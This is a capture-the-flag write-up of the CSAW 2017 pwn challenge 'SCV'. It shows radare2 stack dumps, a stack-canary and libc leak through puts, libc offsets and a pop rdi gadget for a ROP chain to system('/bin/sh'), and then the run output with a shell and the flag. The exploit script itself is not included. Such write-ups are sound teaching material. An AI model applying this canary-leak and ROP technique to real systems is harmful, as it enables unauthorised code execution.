CSAW '17 PWN - SCV (100pt)

September 25 2017

Straight after the pilot challenge I jumped on the next PWN challenge - I was trying to race my friend and get as many done as possible before he got to UNI!

Same as before, I load up checksec to see what I am dealing with:

↳ checksec scv
[*] '/home/glenn/Downloads/csaw/scv/scv'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

And again it is a 64bit binary but this time with NX and a Canary, which makes me think ROP or Heap exploit? Let's run it and find out. Running the binary gives the following menu system:

-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>

Where one can:

  1. Write data
  2. Read Leak data
  3. Quit

If no data has been written yet when option 2 is selected, the bytes are leaked over stdout, if data has been written using the 1 menu option, then this data is written out.

Let's load up in radare and have a look what is going on and what we are actually leaking! Let's start by looking at the code behind menu option 1.
Screen-Shot-2017-09-25-at-10.49.34-am

So here we are simply reading up to 248 bytes into a stack buffer we will call local_b0h, or the buffer. Awesome - now let's check the leaking code.
Screen-Shot-2017-09-25-at-10.54.55-am

So all we do is simply run puts(&buffer), this is bad for us - seeing as how puts will terminate at null characters. We can work around this! Let's set some breakpoints at each of the menu options and have a look - firstly with the contents of the buffer itself.

Breaking just before the buffer is read out using puts, let's have a look at the contents of it in radare.

:> x/32xg @ rbp-0xb0
0x7ffdc4570020  0x0000000000400930  0x00007fb879605ac0   [email protected]`y....
0x7ffdc4570030  0x00007fb8795fa780  0x0000000000400930   [email protected]
0x7ffdc4570040  0x0000000000602080  0x00007fb878ef6299   . `......b.x....
0x7ffdc4570050  0x0000000000000001  0x00007ffdc4570080   ..........W.....
0x7ffdc4570060  0x0000000000601df8  0x0000000000400e1b   ..`[email protected]
0x7ffdc4570070  0x0000000000000000  0x000000010000ffff   ................
0x7ffdc4570080  0x00007ffdc4570090  0x0000000000400e31   [email protected]
0x7ffdc4570090  0x0000000000000002  0x0000000000400e8d   [email protected]
0x7ffdc45700a0  0x0000000000ff0000  0x0000000000000000   ................
0x7ffdc45700b0  0x0000000000400e40  0x00000000004009a0   @[email protected]@.....
0x7ffdc45700c0  0x00007ffdc45701b0  0xe2a392365df00b00   ..W........]6...
0x7ffdc45700d0  0x0000000000400e40  0x00007fb878edc830   @[email protected]
0x7ffdc45700e0  0x0000000000000000  0x00007ffdc45701b8   ..........W.....
0x7ffdc45700f0  0x0000000100000000  0x0000000000400a96   [email protected]
0x7ffdc4570100  0x0000000000000000  0x8ceeb469c060cfe0   ..........`.i...
0x7ffdc4570110  0x00000000004009a0  0x00007ffdc45701b0   [email protected]

Let's get the value of the frame pointer so we know roughly what is where:

:> dr~rbp
rbp = 0x7ffdc45700d0

Ah! We can see where the frame pointer, stack cookie and return address are in the stack! Also by checking the memory mapping ranges I can see that the value at address 0x7ffdc4570048 is in fact a libc address, huzzuh!

But how can we leak this value out if puts will terminate reading at the first null it sees from the start of the buffer? Well how we can do this is by writing junk (0x41) from the start of the buffer up until the value we want to leak! So to leak this libc leak, we would write (0x7ffdc4570048 - 0x7ffdc4570020 = 0x20) A's so that when we read from the buffer with puts we will get 0x27 A's and then the next 8 bytes will be our libc leak! (the reason we only want to write 0x27 is because the newline character will be the 0x28th character!)

This results in the following:

0x7ffdc4570020  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570030  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570040  0x0a41414141414141  0x00007fb878ef6299   AAAAAAA..b.x....
0x7ffdc4570050  0x0000000000000001  0x00007ffdc4570080   ..........W.....
0x7ffdc4570060  0x0000000000601df8  0x0000000000400e1b   ..`[email protected]
0x7ffdc4570070  0x0000000000000000  0x000000010000ffff   ................

And because of little endian, we will leak 0x27 A's, then a newline character, and then the 6 non-null bytes of the libc address, starting at the lowest byte. Huzzuh! Now to get over that pesky stack canary..

The stack canary sticks out like a sore thumb in the hex dump of the stack above - it is the 8 byte value just before the saved frame pointer I pointed out. How to leak it? The issue is with leaking it, is that since the system is little endian will leak out the lowest byte first - which will always be a NULL byte, and this will terminate our puts...

What we can do is overwrite up to and including the NULL byte of the stack canary because we know it will always be null, and we can put it back into the address we leak before we use it in our exploit! Let's first find out how much junk data we need to provide!

:> ? 0x7ffdc45700c8 - 0x7ffdc4570020
168 0xa8 0250 168 0000:00a8 168 "\xa8" 10101000 168.0 168.000000f 168.000000

We can provide 0xa8 A's exactly, because a newline will be appended to the data we send and will overwrite the null least significant byte of the stack canary, allowing us to leak up to 0xa8 'A' characters, then the newline, and finally the remaining 7 bytes of the canary!

:> x/32xg @ rbp-0xb0
0x7ffdc4570020  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570030  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570040  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570050  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570060  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570070  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570080  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc4570090  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc45700a0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc45700b0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffdc45700c0  0x4141414141414141  0xe2a392365df00b0a   AAAAAAAA'..]6...
0x7ffdc45700d0  0x0000000000400e40  0x00007fb878edc830   @[email protected]
0x7ffdc45700e0  0x0000000000000000  0x00007ffdc45701b8   ..........W.....
0x7ffdc45700f0  0x0000000100000000  0x0000000000400a96   [email protected]
0x7ffdc4570100  0x0000000000000000  0x8ceeb469c060cfe0   ..........`.i...
0x7ffdc4570110  0x00000000004009a0  0x00007ffdc45701b0   [email protected]

Now we can leak the stack canary using option 1 of the menu system! And since we can write up to 248 bytes, we can easily overwrite the return address and have execution control!

So now we have leaked a libc address and we have leaked the stack canary, let's build a ROP chain! First let's find the address of system given our libc leak.

To make this easy we can add the libc file to libc-database and run dump to find the system and binsh offset.

↳ ./dump local-14c22be9aa11316f89909e4237314e009da38883
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7940
offset_read = 0x00000000000f7220
offset_write = 0x00000000000f7280
offset_str_bin_sh = 0x18cd17

And knowing our libc leak let's find the offset of it from libc base:

[0x00400cde]> dm~libc
usr   1.8M 0x00007fb878ebc000 - 0x00007fb87907c000 s -r-x /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so
usr     2M 0x00007fb87907c000 - 0x00007fb87927c000 s ---- /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so
usr    16K 0x00007fb87927c000 - 0x00007fb879280000 s -r-- /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so
usr     8K 0x00007fb879280000 - 0x00007fb879282000 s -rw- /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so
[0x00400cde]> ? 0x00007fb878f2b690 - 0x00007fb878ebc000
456336 0x6f690 01573220 445.6K 6000:0690 456336 "\x90\xf6\x06" 000001101111011010010000 456336.0 456336.000000f 456336.000000

Cool, our offset is 0x6f690! Now we have all we need to build our ROP chain! Since this is x86_64 we need a way to load our pointer to the /bin/sh string into rdi, so we need a single gadget to do this! And radare strikes again!

[0x00400cde]> /R pop rdi
  0x00400ea3                 5f  pop rdi
  0x00400ea4                 c3  ret

And now we have all we need to launch the exploit! All we have to do is:

  1. Leak the libc address and find the base using our known offset
  2. Calculate the address of system, /bin/sh and our pop rdi gadget
  3. Leak and clean up the stack cookie
  4. Overwrite the return address with pop rdi, /bin/sh, system().
  5. Claim flag!

My final solution:

And running to get the flag:

↳ python scv.py
[+] Opening connection to pwn.chal.csaw.io on port 3764: Done
[+] Libc base leaked: 0x7fd844948000
[+] Canary leaked: 0x9aa1d6c75c8da900
[*] Switching to interactive mode
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>[*]BYE ~ TIME TO MINE MIENRALS...
$ ls
flag
scv
$ cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}

Comments